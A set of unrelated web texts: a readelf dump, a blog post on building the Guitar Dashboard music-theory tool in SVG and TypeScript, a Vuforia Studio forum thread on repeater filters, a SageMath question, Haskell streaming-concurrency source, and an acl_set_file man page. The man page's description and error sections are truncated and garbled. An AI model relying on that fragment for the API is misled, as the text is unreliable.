$ readelf -a cprogram.exex1060 Start of program headers: 64 (bytes into file) Start of section headers: 14776 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 13 Size of section headers: 64 (bytes) Number of section headers: 31 Section header string table index: 30 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000002d8 0x00000000000002d8 R 0x8 INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318 0x000000000000001c 0x000000000000001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000600 0x0000000000000600 R 0x1000 LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000 0x0000000000000205 0x0000000000000205 R E 0x1000 LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000 0x0000000000000190 0x0000000000000190 R 0x1000 LOAD 0x0000000000002db8 0x0000000000003db8 0x0000000000003db8 0x0000000000000258 0x0000000000000260 RW 0x1000 DYNAMIC 0x0000000000002dc8 0x0000000000003dc8 0x0000000000003dc8 0x00000000000001f0 0x00000000000001f0 RW 0x8 NOTE 0x0000000000000338 0x0000000000000338 0x0000000000000338 0x0000000000000020 0x0000000000000020 R 0x8 NOTE 0x0000000000000358 0x0000000000000358 0x0000000000000358 0x0000000000000044 0x0000000000000044 R 0x4 GNU_PROPERTY 0x0000000000000338 0x0000000000000338 0x0000000000000338 0x0000000000000020 0x0000000000000020 R 0x8 GNU_EH_FRAME 0x0000000000002018 0x0000000000002018 0x0000000000002018 0x000000000000004c 0x000000000000004c R 0x4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10 GNU_RELRO 0x0000000000002db8 0x0000000000003db8 0x0000000000003db8 0x0000000000000248 0x0000000000000248 R 0x1 Symbol table '.symtab' contains 67 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND ........... 36: 0000000000000000 0 FILE LOCAL DEFAULT ABS htd.c 37: 0000000000000000 0 FILE LOCAL DEFAULT ABS cprogram.c ......... 52: 0000000000001149 28 FUNC GLOBAL DEFAULT 16 printHTD ......... 63: 0000000000001165 25 FUNC GLOBAL DEFAULT 16 main 64: 0000000000004010 0 OBJECT GLOBAL HIDDEN 25 __TMC_END__
In the Executable file, we too have ELF Header at the top, next Section is the Program Headers.
Hope You Like It!
Learn GUI Programming In C using GTK.
Learn Intermediate Python Concepts.
The compiler of gcc/g++ is cc and cc1plus, respectively. gcc and g++ are the compiler driver. The diagram from has an error.
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. It evolved out my my own attempts, as an amateur guitarist, to get a better understanding of music theory. It includes an algorithmic music theory engine that allows arbitrarily complex scales and chords to be generated from first principles. This gives it far more flexibility than most comparable tools. Coming at music theory from the point of view of software developer, and implementing a music theory rules engine, has given me a perspective that’s somewhat different from most traditional approaches. This post outlines what I’ve learnt, technically and musically while building Guitar Dashboard. There are probably things here that are only interesting to software developers, and others only of interest to musicians, but I expect there’s a sizable group of people, like me, who fit in the intersection of that Venn diagram and who will find it interesting.
Why Guitar Dashboard?
Guitar dashboard’s core mission is to graphically and interactively integrate music theory diagrams, the chromatic-circle and circle-of-fifths, with a graphical representation of the fretboard of a stringed instrument. It emerged from my own study of scales, modes and chords over the past three or four years.
I expect like many self taught guitarists, my main aim when I first learnt to play at the age of 15 was to imitate my guitar heroes, Jimmy Page, Jimi Hendrix, Steve Howe, Alex Lifeson and others. A combination of tips from fellow guitarists, close listening to 60’s and 70’s rock cannon, and a ‘learn rock guitar’ book was enough to get me to a reasonable imitation. I learnt how to play major and minor bar chords and a pentatonic scale for solos and riffs. This took me happily through several bands in my 20s and 30s. Here’s me on stage in the 1980’s with The Decadent Herbs.
I was aware that there was a whole school of classical music theory, but it didn’t at first appear to be relevant to my rock ambitions, and any initial attempts I tried at finding out more soon came to grief on the impenetrable standard music notation and vocabulary, and the very difficult mapping of stave to fretboard. I just couldn’t be bothered with it. I knew there were major and minor scales, I could even play C major on my guitar, and I’d vaguely heard of modes and chord inversions, but that was about it. In the intervening years I’ve continued to enjoy playing guitar, except these days it’s purely for my own amusement, but I’d become somewhat bored with my limited range of musical expression. It wasn’t until around four years ago on a train ride, that a question popped into my head, “what is a ‘mode’ anyway?”
In the intervening decades since my teenage guitar beginnings the internet had happened, so while then I was frustrated by fusty music textbooks, now Wikipedia, immediately to hand on my phone, provided a clear initial answer to my ‘what is a mode question’, followed soon after by a brilliant set of blog posts by Ethan Hein, a music professor at NYU. His clear explanations of how scales are constructed from the 12 chromatic tones by selecting certain intervals, and how chords are then constructed from scales, and especially how he relates modes to different well known songs, opened up a whole new musical world for me. I was also intrigued by his use of the circle-of-fifths which led me to look for interactive online versions. I found Rand Scullard’s excellent visualisation a great inspiration. At the same time in my professional work as a software developer I’d become very excited by the possibilities of SVG for interactive browser based visualisations and realised that Rand’s circle-of-fifths, which he’d created by showing and hiding various pre-created PNG images, would be very easy to reproduce with SVG, and that I could drive it from an algorithmic music engine implemented from the theory that Ethan Hein had taught me. The flexibility offered by factoring out the music generation from the display also meant that I could easily add new visualisations, the obvious one being a guitar fretboard.
My first version was pretty awful. Driven by the hubris of the novice, I’d not really understood the subtleties of note or interval naming and my scales sometimes had duplicate note names amongst other horrors. I had to revisit the music algorithm a few times before I realised that intervals are the core of the matter and the note names come out quite easily once the intervals are correct. The algorithmic approach paid off though; it was very easy to add alternative tunings and instruments to the fretboard since it was simply a case of specifying a different set of starting notes for each string, and any number of strings. Flipping the nut and providing a left-handed fretboard were similarly straightforward. I more recently added non-diatonic scales (access them via the ‘Scale’ menu). This also came out quite easily since the interval specification for the original diatonic scale is simply a twelve element Boolean array. Unfortunately the note naming issue appears again, especially for non-seven-note-scales. Moving forward, it should be relatively easy to add a piano keyboard display, or perhaps, to slay an old demon, a musical stave that would also display the selected notes.
For an introduction to Guitar Dashboard, I’ve created a video tour:
So that’s Guitar Dashboard and my motivation for creating it. Now a brief discussion of some of the things I’ve learnt. First some technical notes about SVG and TypeScript, and then some reflections on music theory.
The awesome power of SVG.
The visual display of Guitar Dashboard is implemented using SVG.
SVG (Scalable Vector Graphics) is an “XML-based vector image format for two-dimensional graphics with support for interactivity and animation.” (Wikipedia). All modern browsers support it. You can think of it as the HMTL of vector graphics. The most common use case for SVG is simple graphics and graphs, but it really shines when you introduce animation and interactivity. Have a look at these blog posts to see some excellent examples.
I was already a big fan of SVG before I started work on Guitar Dashboard and the experience of creating it has only made me even more enamoured. The ability to programmatically build graphical interactive UIs or dashboards is SVG’s strongest, but most underappreciated asset. It’s gives the programmer, or designer, far more flexibility than image based manipulation or HTML and CSS. The most fine grained graphical elements can respond to mouse events and be animated. I used the excellent D3js library as an interface to the SVG elements but I do wonder sometimes whether it was an appropriate choice. As a way of mapping data sets to graphical elements, it’s wonderful, but I did find myself fighting it to a certain extent. Guitar Dashboard is effectively a data generator (the music algorithm) and some graphs (the circles and the fretboard), but the graphs are so unlike most D3js applications, that it’s possible I would have been better off just manipulating the raw SVG or developing my own targeted library.
Another strength of SVG is the tooling available to manipulate it. Not only is it browser native, which also means that it’s easy to print and screen-shot, but there are also powerful tools, such as the open source vector drawing tool, Inkscape that make it easy to create and modify SVG documents. One enhancement that I’m keen to include in Guitar Dashboard is a ‘download’ facility that will allow the user to download the currently rendered SVG as a file that can be opened and modified in Inkscape or similar tools. Imagine if you want to illustrate a music theory article, or guitar lesson, it would be easy to select what you want to see in Guitar Dashboard, download the SVG and then edit it at will. You could easily just cut out the fretboard, or the circle-of-fifths, if that’s all you needed. You could colour and annotate the diagrams in any way you wanted. Because SVG is a vector graphics format, you can blow up an SVG diagram to any size without rasterization. You could print a billboard with a Guitar Dashboard graphic and it would be completely sharp. This makes it an excellent choice for printed materials such as textbooks.
TypeScript makes large browser based applications easy.
Creating Guitar Dashboard was my first experience of writing anything serious in TypeScript. I’ve written plenty of Javascript during my career, but I’ve always found it a rather unhappy experience and I’ve always been relieved to return to the powerful static type system of my main professional language C#. I’ve experimented with Haskell and Rust which both have even stronger type systems and the experience with Haskell of '”if it compiles it will run” is enough to make anyone who might have doubted the power of types a convert. I’ve never understood the love for dynamic languages. Maybe for a beginner, the learning curve of an explicit type system seems quite daunting, but for anything but the simplest application, its lack means introducing a whole class of bugs and confusion that simply don’t exist for a statically typed language. Sure you can write a million unit tests to ensure you get what you think you should get, but why have that overhead?
Typescript allows you to confidently create large scale browser based applications. I found it excellent for making Guitar Dashboard. I’m not sure I am writing particularly good Typescript code though. I soon settled into basing everything around interfaces, enjoying the notion of structural rather than nominal typing. I didn’t use much in the way of composition and there’s no dependency injection. Decoupling is achieved with a little home made event bus:
export class Bus<T> { private listeners: Array<(x:T)=>void> = []; private name: string; constructor(name: string) { this.name = name; } public subscribe(listener: (x:T)=>void): void { this.listeners.push(listener); } public publish(event: T): void { //console.log("Published event: '" + this.name + "'") for (let listener of this.listeners) { listener(event); } } }
A simple event bus, is just a device to decouple code that wants to inform that something has happened from code that wants to know when it does. It’s a simple collection of functions that get invoked every time an event is published. The core motivation is to prevent event producers and consumers from having to know about each other. There’s one instance of Bus for each event type.
Each of the main graphical elements is its own namespace which I treated like stand alone modules. Each of which subscribe to and raise typed events via a Bus instance. I only created classes when there was an obvious need, such as the Bus class above and the NoteCircle class which has two instances, the chromatic-circle and circle of fifths. I didn’t write any unit tests either, although now I think the music module algorithm is complex enough that it’s really crying out for them. Guitar Dashboard is open source, so you can see for yourself what you think of my Typescript by checking it out on GitHub.
Another advantage of TypeScript is the excellent tooling available. I used VS Code which itself is written in TypeScript and which supports it out-of-the-box. The fact that VS Code has been widely adopted outside of the Microsoft ecosystem is a testament to its quality as a code editor. It came top in the most recent Stack Overflow developer survey. I’ve even started experimenting with using it for writing C# and it’s a pretty good experience.
What I learnt about music.
Music is weird. Our ears are like a serial port into our brain. With sound waves we can reach into our cerebral cortex and tweak our emotions or tickle our pleasure senses. A piece of music can take you on a journey, but one which bares no resemblance to concrete reality. Music defines human cultures and can make and break friendships; people feel that strongly about it. But fundamentally it’s just sound waves. It greatly confuses evolutionary psychologists. What possible survival advantage does it confer? Maybe it’s the human equivalent of the peacock’s tail; a form of impressive display; a marker of attendant mental agility and fitness? Who knows. What is true is that we devote huge resources to the production and consumption of music: the hundreds of thousands of performers; the huge marketing operations of the record companies; the global business of producing and selling musical instruments and the kit to record it and play it back. The biggest company in the world, Apple, got its second wind from a music playback device and musical performers are amongst the most popular celebrities.
But why do our brains favour some forms of sound over others? What makes a melody, a harmony, a rhythm, more or less attractive to us? I recently read a very good book on this subject, The Music Instinct by Philip Ball. The bottom line is that we have no idea why music affects us like it does, but that’s unsurprising given that the human brain is still very much a black box to science. It does show, however, that across human cultures there are some commonalities: rhythm, the recognition of the octave, where we perceive two notes an octave apart as being the same note, and also something close to the fifth and the third. It’s also true that music is about ratios between frequencies rather than the frequencies themselves, with perhaps the exception of people with perfect pitch. The more finely grained the intervals become, the more cultures diverge, and it’s probably safe to say that the western twelve tone chromatic scale with its ‘twelfth root of two’ ratio is very much a technical innovation to aid modulation rather than something innate to the human brain. Regardless of how much is cultural or innate, the western musical tradition is very much globally dominant. Indeed, it’s hard buy a musical instrument that isn’t locked down to the twelve note chromatic scale.
However, despite having evolved a very neat, mathematical and logical theory, western music suffers from a common problem that bedevils any school of thought that’s evolved over centuries, a complex and difficult vocabulary and a notation that obfuscates rather than reveals the structure of what it represents. Using traditional notation to understand music theory is like doing maths with Roman numerals. In writing the music engine of guitar dashboard, by far the most difficult challenges have been outputting the correct names for notes and intervals.
This is a shame, because the fundamentals are really simple. I will now explain western music theory in four steps:
- Our brains interpret frequencies an octave apart as the same ‘note’, so we only need to care about the space between n and 2n frequencies.
- Construct a ratio such that applying the ratio to n twelve times gives 2n. Maths tells you that this must be the 12th root of 2. (first described by Simon Stevin in 1580). Each step is called a semitone.
- Start at any of the twelve resulting notes and jump up or down in steps of 7 semitones (traditionally called a 5th) until you have a total of 7 tones/notes. Note that we only care about n to 2n, so going up two sets of 7 semitones (or two 5ths) is the same as going up 2 semitones (a tone) (2 x 7 – 12 = 2. In music all calculations are mod 12). This is a diatonic scale. If you choose the frequency 440hz, jump down one 7-semitone step and up 5, you have an A major scale. Up two 7-semitone steps and down four gives you A minor. The other five modes (Lydian, Mixolydian, Dorian, Phrygian and Locrian) are just different numbers of up and down 7-semitone steps.
- Having constructed a scale, choose any note. Count 3 and 5 steps of the scale (the diatonic scale you just constructed, not the original 12 step chromatic scale) to give you three notes. This is a triad, a chord. Play these rhythmically in sequence while adding melody notes from the scale until you stumble across something pleasing.
That, in four simple steps, is how you make western music.
OK, that’s a simplification, and the most interesting music breaks the rules, but this simple system is the core of everything else you will learn. But try to find this in any music textbook and it simply isn’t there. Instead there is arcane language and confusing notation. I really believe that music education could be far simpler with a better language, notation and tools. Guitar Dashboard is an attempt to help people visualise this simplicity. Everything but the fretboard display is common to all musical instruments. It’s only aimed at guitarists because that’s what I play and it also helps that guitar is the second most popular musical instrument. The most poplar, piano, would be easy to add. Piano Dashboard anyone?
15 comments:
Thanks for the kind words! Guitar Dashboard has enormous potential value for people learning guitar and should be a model for how people teach music theory generally. Really excited to see what you come up with next.
The Fripp NST is CGDAEG, but with that said I'm pumped that it is included
Its great... Thanks.
Wow. Just, wow.
Thanks, I started learning classical guitar and I find the hardest part is not in reading the musical stave which is somewhat intuitive but rather in mapping those notes to their positions on the fretboard.
Hopefully guitar dashboard can help 😊!
Excellent. Thanks for creating this. Reminds me of Guitar Grimoire which is what I used to learn early on!
Hi Christian, thanks for the kind words. Take a look at the issues list on the GitHub repo.
Hi Mike, One of my guitar students directed me to your very useful and very cool tool. Nice work. Easy to use and easy to follow.
Suggestions for future improvements, if you're so motivated:
- Major and Minor Pentatonic scales.
-.
Great tool, very powerful to teach/learn. Congratulations. And thanks!!
7 string would be great (BEADGABE).
Mike,
GuitarDashboard is a very nice site and I have linked it in a couple of my daily hangouts.
I use it to spell out chords, because I use mostly fake books to figure out tunes, and to transpose. When entering tunes into mus score, it's helpful to have this interactive tool to check my spellings.
Regards,
sTevo
This is SO awesome!!! Thank you so much for writing this and sharing your source code!
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http://mikehadlow.blogspot.com/2018/09/what-i-learned-creating-guitar.html?showComment=1536948190923
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CC-MAIN-2019-51
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refinedweb
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javascript
ItemList = [
{
"checked":false,
"title": "title0"
},
{
"checked":false,
"title": "title2"
},
{
"checked":true,
"title": "title2"
},
{
"checked":false,
"title": "title3"
}
];
$scope.app.params["ItemList"] = ItemList;
I made 2D Widget
Left Panel
+ repeater
+ checkbox
i bind ItemList to repeater
checkbox Label is {{item.title}}
it's well display title
i bind ItemList to checkbox Value
and How to write Add Filter?
Can I Change CheckBox Value By DataList
Filter Body
return ( HowToget( item.checked ) === true ? true : false )
I do not think that this is possible in this context (or at least it not trivial )
In your case you will set a list (array of json’s) directly to the repeater.
You can put in the text field of the label. {{item.<propertyName>}} where <propertyName> is the name of the field in the array that is to be displayed in the label. In this case you will see the value in the field but unfortunately, I did not find a way to access this value on runtime when the table is created and also it was not possible to access this in a filter
The filter is text which is evaluated later in a filter function. The problem only the value is passed to the filter and there is no possible to access variables outside (e.g. $scope in not valid there)
For example I have an simple project with 2 repeater.
The one repeater with widget name “repeater-1” use a data from a TWX service
The second repeater used data from an app parameter (your example) containing a Jason list (array)
So when we can see the difference:
... $scope.$on('$ionicView.afterEnter', function() { $scope.app.params["ItemList"] = ItemList; console.warn($scope.view.wdg['repeater-1']) console.warn($scope.view.wdg['repeater-2']) ... });
So in the one data set we do not have an info about the current data set and could used it directly to assigneed a value to a repeater element.
Only the syntax {{item.<propertyName>}} is working on the fly to to replace the text with a value of a property when the repeat widget is displayed.
In a filter we have only access to the "value" variable which means here the whole list.
For example:
the follwoing filter definiton:
{ let obj= value; let nameIn='title'; let nameOut='checked'; let val= 'title0'; // this will return false //let val= 'title2'; // if this line is used - returns true for (var i = 0; i < obj.length; i++){ // look for the entry with a matching `code` value if (obj[i][nameIn] == val){ return obj[i][nameOut];} } };
this filter will work fine and will return false
If we replace the line :
let val= 'title0'; by let val= 'title2';
the checkbox wil be selected .
Unfortunately we can not use a syntax like:
val= $scope.view.wdg['repeater-1'].text; or let val= {{item.title}} ; or let val= item.title ; and etc.
it always will lead to error. Also the $scope is not defined inside the filter.
Also if we try to use a binding of other field which is set using the syntax {{item.<propertyName>}} - there is also no success:
What should be here the possible solution/ workaround:
- to use instead of list from javaScript a twx service. So you can simple define such service which should send json fille to the External data:
Where the twx service is defined as:
var data= [ { id_num: 0, display: "France", value: "Paris", checked:false }, { display: "Italy", value: "Rome" }, { display: "Spain", value: "Madrid"}, { display: "UK", value: "London"}, { display: "Germany", value: "Berlin"}, { display: "Norway", value: "Oslo"}, { display: "Switzerland", value: "Bern"}, { display: "Greece", value: "Athens"}, { display: "France", value: "Paris"} ]; //get the first row for the dataShape defintion var FirstRowJson =data[0]; //create an empty Info Table var resInfoTable = { dataShape: { fieldDefinitions : {} }, rows: [] }; //defines the dataShape for(var prop in FirstRowJson) { if(FirstRowJson.hasOwnProperty(prop)) { if(prop == "id_num") resInfoTable.dataShape.fieldDefinitions[prop] = { name:prop, baseType: 'INTEGER' }; else if(prop == "checked") resInfoTable.dataShape.fieldDefinitions[prop] = { name:prop, baseType: 'BOOLEAN' }; else resInfoTable.dataShape.fieldDefinitions[prop] = { name:prop, baseType: 'STRING' }; } } //add the rows to the InfoTables for(i in data){ resInfoTable.rows[i]=data[i]; //copy one to one resInfoTable.rows[i].id_num=i; resInfoTable.rows[i].checked=false; } // result = resInfoTable;
I used such service here for the repeater-1 and it worked fine.
Of course, this will work only if you have a TWX instance which allow access of the TWX database.
Otherwise we can try to simulate the creation of such TWX service only in Studio angular environment without having TWX or we can try to listen to the a repeater row event - but unfortunately I did not find a way how to do this yet.
Thank you for the fast answer.
I think , I found an option where we can solve the original problem using a filter but it is not very 'clean' way to do this , but it worked fine in this case.
So the solution is based on a global variable (window.my_variableX) and I docount every filter call and respectively will increment the variable and will compore with the list size. The value of the checkbox here is the list Parameter ItemList :
ItemList = [ { "checked":false, "title": "title0" }, { "checked":false, "title": "title1" }, { "checked":true, "title": "title2" }, { "checked":false, "title": "title3" } ]; //====== set the json to the parameter ItemList after ViewStart ==== $scope.$on('$ionicView.afterEnter', function() { $scope.app.params["ItemList"] = ItemList; })
Now I will set a binding between Studio parameter "ItemList" and the value of the checkbox with a filter:
And here the following definition of the filter:
if(!window.my_filter) window.my_filter=1; else { if(window.my_filter>= value.length) window.my_filter=1; else {window.my_filter++;} } console.log("Filter i="+(window.my_filter-1)+" max length="+value.length) console.log( "title:=" +value[window.my_filter-1]['title'] +" chcked:="+value[window.my_filter-1]['checked']); return(value[window.my_filter-1]['checked']);
there the console.log was only for debugging and should be removed from the real filter. Also for each filter the global variable should be different (because we can face the problem that more different filters will increment the same global variable in the same time and we will have a very erroneous results )
So, when I test it in preview mode:
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https://community.ptc.com/t5/Vuforia-Studio/how-to-use-add-data-filter/m-p/633726/highlight/true
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refinedweb
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table of contents
NAME¶
acl_set_file—
LIBRARY¶Linux Access Control Lists library (libacl, -lacl).
SYNOPSIS¶
#include <sys/types.h>
#include <sys/acl.h>
int
acl_set_file(const
char *path_p, acl_type_t
type, acl_t
acl);
DESCRIPTION¶The associated¶The
acl_set_file() function returns the value 0 if successful; otherwise the value -1 is returned and the global variable errno is set to indicate the error.
ERRORS¶If¶IE¶acl_delete_def_file(3), acl_get_file(3), acl_set_fd(3), acl_valid.
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https://manpages.debian.org/unstable/libacl1-dev/acl_set_file.3.en.html
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CC-MAIN-2019-51
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en
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refinedweb
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Number of neighbors of a set of vertices in a graph
Hi all, I'd like to know how to get the number of vertices that are adjacent to a given set of vertices in a graph. I have the following skeleton:
from sage.graphs.independent_sets import IndependentSets G=[some graph] J=IndependentSets(G)
And I would like to know the number of neighbors of x for each x in J (i.e., the number of vertices of G\x that are adjacent to some vertex in x). Ideally I would like something like:
F=0 t=var('t') for x in J: N=number_of_neighbors(x) F += t^N F
If G is a four cycle then number_of_neighbors(x)=2 for any subset x of two vertices of G, and the polynomial F above should be 1+6t^2 (because there is the empty independent set, 4 independent sets of size 1 each with 2 neighbors, and 2 independent sets of size 2 each with 2 neighbors). I appreciate your help!
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https://ask.sagemath.org/question/45764/number-of-neighbors-of-a-set-of-vertices-in-a-graph/
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CC-MAIN-2019-51
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en
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refinedweb
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{-# LANGUAGE FlexibleContexts, MultiParamTypeClasses #-} {- | Module : Streaming.Concurrent Description : Concurrency support for the streaming ecosystem Copyright : Ivan Lazar Miljenovic License : MIT Maintainer : Ivan.Miljenovic@gmail.com Consider a physical desk for someone that has to deal with correspondence. A typical system is to have two baskets\/trays: one for incoming papers that still needs to be processed, and another for outgoing papers that have already been processed. We use this metaphor for dealing with 'Buffer's: data is fed into one using the 'InBasket' (until the buffer indicates that it has had enough) and taken out from the 'OutBasket'. -} module Streaming.Concurrent ( -- * Buffers Buffer , unbounded , bounded , latest , newest -- * Using a buffer , withBuffer , withBufferedTransform , InBasket(..) , OutBasket(..) -- * Stream support , writeStreamBasket , withStreamBasket , withMergedStreams -- ** Mapping -- $mapping , withStreamMap , withStreamMapM , withStreamTransform -- *** Primitives , joinBuffers , joinBuffersM , joinBuffersStream ) where import Streaming (Of, Stream) import qualified Streaming.Prelude as S import Control.Applicative ((<|>)) import Control.Concurrent.Async.Lifted (concurrently, forConcurrently_, replicateConcurrently_) import qualified Control.Concurrent.STM as STM import Control.Monad (when) import Control.Monad.Base (MonadBase, liftBase) import Control.Monad.Catch (MonadMask, bracket, finally) import Control.Monad.Trans.Control (MonadBaseControl) import Data.Foldable (forM_) -------------------------------------------------------------------------------- -- | Concurrently merge multiple streams together. -- -- The resulting order is unspecified. -- -- Note that the monad of the resultant Stream can be different from -- the final result. -- -- @since 0.2.0.0 withMergedStreams :: (MonadMask m, MonadBaseControl IO m, MonadBase IO n, Foldable t) => Buffer a -> t (Stream (Of a) m v) -> (Stream (Of a) n () -> m r) -> m r withMergedStreams buff strs f = withBuffer buff (forConcurrently_ strs . flip writeStreamBasket) (`withStreamBasket` f) -- | Write a single stream to a buffer. -- -- Type written to make it easier if this is the only stream being -- written to the buffer. writeStreamBasket :: (MonadBase IO m) => Stream (Of a) m r -> InBasket a -> m () writeStreamBasket stream (InBasket send) = go stream where go str = do eNxt <- S.next str -- uncons requires r ~ () forM_ eNxt $ \(a, str') -> do continue <- liftBase (STM.atomically (send a)) when continue (go str') -- | Read the output of a buffer into a stream. -- -- @since 0.2.0.0 withStreamBasket :: (MonadBase IO m) => OutBasket a -> (Stream (Of a) m () -> r) -> r withStreamBasket (OutBasket receive) f = f (S.untilRight getNext) where getNext = maybe (Right ()) Left <$> liftBase (STM.atomically receive) -------------------------------------------------------------------------------- {- $mapping These functions provide (concurrency-based rather than parallelism-based) pseudo-equivalents to < parMap>. Note however that in practice, these seem to be no better than - and indeed often worse - than using 'S.map' and 'S.mapM'. A benchmarking suite is available with this library that tries to compare different scenarios. These implementations try to be relatively conservative in terms of memory usage; it is possible to get better performance by using an 'unbounded' 'Buffer' but if you feed elements into a 'Buffer' much faster than you can consume them then memory usage will increase. The \"Primitives\" available below can assist you with defining your own custom mapping function in conjunction with 'withBufferedTransform'. -} -- | Use buffers to concurrently transform the provided data. -- -- In essence, this is a @demultiplexer -> multiplexer@ -- transformation: the incoming data is split into @n@ individual -- segments, the results of which are then merged back together -- again. -- -- Note: ordering of elements in the output is undeterministic. -- -- @since 0.2.0.0 withBufferedTransform :: (MonadMask m, MonadBaseControl IO m) => Int -- ^ How many concurrent computations to run. -> (OutBasket a -> InBasket b -> m ab) -- ^ What to do with each individual concurrent -- computation; result is ignored. -> (InBasket a -> m i) -- ^ Provide initial data; result is ignored. -> (OutBasket b -> m r) -> m r withBufferedTransform n transform feed consume = withBuffer buff feed $ \obA -> withBuffer buff (replicateConcurrently_ n . transform obA) consume where buff :: Buffer v buff = bounded n -- | Concurrently map a function over all elements of a 'Stream'. -- -- Note: ordering of elements in the output is undeterministic. -- -- @since 0.2.0.0 withStreamMap :: (MonadMask m, MonadBaseControl IO m, MonadBase IO n) => Int -- ^ How many concurrent computations to run. -> (a -> b) -> Stream (Of a) m i -> (Stream (Of b) n () -> m r) -> m r withStreamMap n f inp cont = withBufferedTransform n transform feed consume where feed = writeStreamBasket inp transform = joinBuffers f consume = flip withStreamBasket cont -- | Concurrently map a monadic function over all elements of a -- 'Stream'. -- -- Note: ordering of elements in the output is undeterministic. -- -- @since 0.2.0.0 withStreamMapM :: (MonadMask m, MonadBaseControl IO m, MonadBase IO n) => Int -- ^ How many concurrent computations to run. -> (a -> m b) -> Stream (Of a) m i -> (Stream (Of b) n () -> m r) -> m r withStreamMapM n f inp cont = withBufferedTransform n transform feed consume where feed = writeStreamBasket inp transform = joinBuffersM f consume = flip withStreamBasket cont -- | Concurrently split the provided stream into @n@ streams and -- transform them all using the provided function. -- -- Note: ordering of elements in the output is undeterministic. -- -- @since 0.2.0.0 withStreamTransform :: (MonadMask m, MonadBaseControl IO m, MonadBase IO n) => Int -- ^ How many concurrent computations to run. -> (Stream (Of a) m () -> Stream (Of b) m t) -> Stream (Of a) m i -> (Stream (Of b) n () -> m r) -> m r withStreamTransform n f inp cont = withBufferedTransform n transform feed consume where feed = writeStreamBasket inp transform = joinBuffersStream f consume = flip withStreamBasket cont -- | Take an item out of one 'Buffer', apply a function to it and then -- place it into another 'Buffer. -- -- @since 0.3.1.0 joinBuffers :: (MonadBase IO m) => (a -> b) -> OutBasket a -> InBasket b -> m () joinBuffers f obA ibB = liftBase go where go = do ma <- STM.atomically (receiveMsg obA) forM_ ma $ \a -> do s <- STM.atomically (sendMsg ibB (f a)) when s go -- | As with 'joinBuffers' but apply a monadic function. -- -- @since 0.3.1.0 joinBuffersM :: (MonadBase IO m) => (a -> m b) -> OutBasket a -> InBasket b -> m () joinBuffersM f obA ibB = go where go = do ma <- liftBase (STM.atomically (receiveMsg obA)) forM_ ma $ \a -> do b <- f a s <- liftBase (STM.atomically (sendMsg ibB b)) when s go -- | As with 'joinBuffers' but read and write the values as 'Stream's. -- -- @since 0.3.1.0 joinBuffersStream :: (MonadBase IO m) => (Stream (Of a) m () -> Stream (Of b) m t) -> OutBasket a -> InBasket b -> m () joinBuffersStream f obA ibB = withStreamBasket obA (flip writeStreamBasket ibB . f) -------------------------------------------------------------------------------- -- This entire section is almost completely taken from -- pipes-concurrent by Gabriel Gonzalez: -- -- | 'Buffer' specifies how to buffer messages between our 'InBasket' -- and our 'OutBasket'. data Buffer a = Unbounded | Bounded Int | Single | Latest a | Newest Int | New -- | Store an unbounded number of messages in a FIFO queue. unbounded :: Buffer a unbounded = Unbounded -- | Store a bounded number of messages, specified by the 'Int' -- argument. -- -- A buffer size @<= 0@ will result in a permanently empty buffer, -- which could result in a system that hangs. bounded :: Int -> Buffer a bounded 1 = Single bounded n = Bounded n -- | Only store the \"latest\" message, beginning with an initial -- value. -- -- This buffer is never empty nor full; as such, it is up to the -- caller to ensure they only take as many values as they need -- (e.g. using @'S.print' . 'readStreamBasket'@ as the final -- parameter to 'withBuffer' will -- after all other values are -- processed -- keep printing the last value over and over again). latest :: a -> Buffer a latest = Latest -- | Like 'bounded', but 'sendMsg' never fails (the buffer is never -- full). Instead, old elements are discard to make room for new -- elements. -- -- As with 'bounded', providing a size @<= 0@ will result in no -- values being provided to the buffer, thus no values being read -- and hence the system will most likely hang. newest :: Int -> Buffer a newest 1 = New newest n = Newest n -- | An exhaustible source of values. -- -- 'receiveMsg' returns 'Nothing' if the source is exhausted. newtype OutBasket a = OutBasket { receiveMsg :: STM.STM (Maybe a) } -- | An exhaustible sink of values. -- -- 'sendMsg' returns 'False' if the sink is exhausted. newtype InBasket a = InBasket { sendMsg :: a -> STM.STM Bool } -- | Use a buffer to asynchronously communicate. -- -- Two functions are taken as parameters: -- -- * How to provide input to the buffer (the result of this is -- discarded) -- -- * How to take values from the buffer -- -- As soon as one function indicates that it is complete then the -- other is terminated. This is safe: trying to write data to a -- closed buffer will not achieve anything. -- -- However, reading a buffer that has not indicated that it is -- closed (e.g. waiting on an action to complete to be able to -- provide the next value) but contains no values will block. withBuffer :: (MonadMask m, MonadBaseControl IO m) => Buffer a -> (InBasket a -> m i) -> (OutBasket a -> m r) -> m r withBuffer buffer sendIn readOut = bracket (liftBase openBasket) (\(_, _, _, seal) -> liftBase (STM.atomically seal)) $ \(writeB, readB, sealed, seal) -> snd <$> concurrently (withIn writeB sealed seal) (withOut readB sealed seal) where openBasket = do (writeB, readB) <- case buffer of Bounded n -> do q <- STM.newTBQueueIO (fromIntegral n) return (STM.writeTBQueue q, STM.readTBQueue q) Unbounded -> do q <- STM.newTQueueIO return (STM.writeTQueue q, STM.readTQueue q) Single -> do m <- STM.newEmptyTMVarIO return (STM.putTMVar m, STM.takeTMVar m) Latest a -> do t <- STM.newTVarIO a return (STM.writeTVar t, STM.readTVar t) New -> do m <- STM.newEmptyTMVarIO return (\x -> STM.tryTakeTMVar m *> STM.putTMVar m x, STM.takeTMVar m) Newest n -> do q <- STM.newTBQueueIO (fromIntegral n) let writeB x = STM.writeTBQueue q x <|> (STM.tryReadTBQueue q *> writeB x) return (writeB, STM.readTBQueue q) -- We use this TVar as the communication mechanism between -- inputs and outputs as to whether either sub-continuation has -- finished. sealed <- STM.newTVarIO False let seal = STM.writeTVar sealed True return (writeB, readB, sealed, seal) withIn writeB sealed seal = sendIn (InBasket sendOrEnd) `finally` liftBase (STM.atomically seal) where sendOrEnd a = do canWrite <- not <$> STM.readTVar sealed when canWrite (writeB a) return 